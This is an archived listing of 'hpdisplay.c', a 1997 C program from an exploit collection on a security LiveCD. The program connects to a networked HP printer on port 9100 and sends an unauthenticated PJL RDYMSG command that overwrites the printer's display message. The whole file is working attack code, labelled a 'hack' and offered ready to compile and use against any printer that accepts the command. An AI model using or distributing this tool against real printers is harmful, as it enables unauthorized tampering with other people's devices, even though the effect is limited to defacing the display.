home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / network / hp / hpdisplay.c < prev    next >
Text File  |  2005-02-12  |  2KB  |  77 lines

  1.  
  2.     /*
  3.        HP Printer Hack
  4.        12/8/97 sili@l0pht.com
  5.     */
  6.  
  7.     #include <sys/types.h>
  8.     #include <sys/socket.h>
  9.     #include <netdb.h>
  10.     #include <netinet/in.h>
  11.     #include <stdio.h>
  12.  
  13.     #define PORT 9100
  14.  
  15.     int main (int argc, char *argv[]) {
  16.  
  17.       int sockfd,len,bytes_sent;   /* Sock FD */
  18.       struct hostent *host;   /* info from gethostbyname */
  19.       struct sockaddr_in dest_addr;   /* Host Address */
  20.       char line[100];
  21.  
  22.       if (argc !=3) {
  23.         printf("HP Display Hack\n--sili@l0pht.com 12/8/97\n\n%s printer \"message\"\n",argv[0]);
  24.         printf("\tMessage can be up to 16 characters long\n");
  25.         exit(1);
  26.       }
  27.  
  28.       if ( (host=gethostbyname(argv[1])) == NULL) {
  29.         perror("gethostbyname");
  30.         exit(1);
  31.       }
  32.  
  33.       printf ("HP Display hack -- sili@l0pht.com\n");
  34.       printf ("Hostname:   %s\n", argv[1]);
  35.       printf ("Message: %s\n",argv[2]);
  36.  
  37.       /* Prepare dest_addr */
  38.       dest_addr.sin_family= host->h_addrtype;  /* AF_INET from gethostbyname */
  39.       dest_addr.sin_port= htons(PORT) ; /* PORT defined above */
  40.  
  41.       /* Prepare dest_addr */
  42.       bcopy(host->h_addr, (char *) &dest_addr.sin_addr, host->h_length);
  43.  
  44.       bzero(&(dest_addr.sin_zero), 8);  /* Take care of  sin_zero  ??? */
  45.  
  46.  
  47.       /* Get socket */
  48.     /*  printf ("Grabbing socket....\n"); */
  49.       if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {
  50.         perror("socket");
  51.         exit(1);
  52.       }
  53.  
  54.       /* Connect !*/
  55.  
  56.       printf ("Connecting....\n");
  57.  
  58.       if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){
  59.         perror("connect");
  60.         exit(1);}
  61.  
  62.       /* Preparing JPL Command */
  63.  
  64.       strcpy(line,"\033%-12345X@PJL RDYMSG DISPLAY = \"");
  65.       strncat(line,argv[2],16);
  66.       strcat(line,"\"\r\n\033%-12345X\r\n");
  67.  
  68.       /* Sending data! */
  69.  
  70.     /*  printf ("Sending Data...%d\n",strlen(line));*/
  71.     /*  printf ("Line: %s\n",line); */
  72.       bytes_sent=send(sockfd,line,strlen(line),0);
  73.  
  74.       printf("Sent %d bytes\n",bytes_sent);
  75.       close(sockfd);
  76.     }
  77.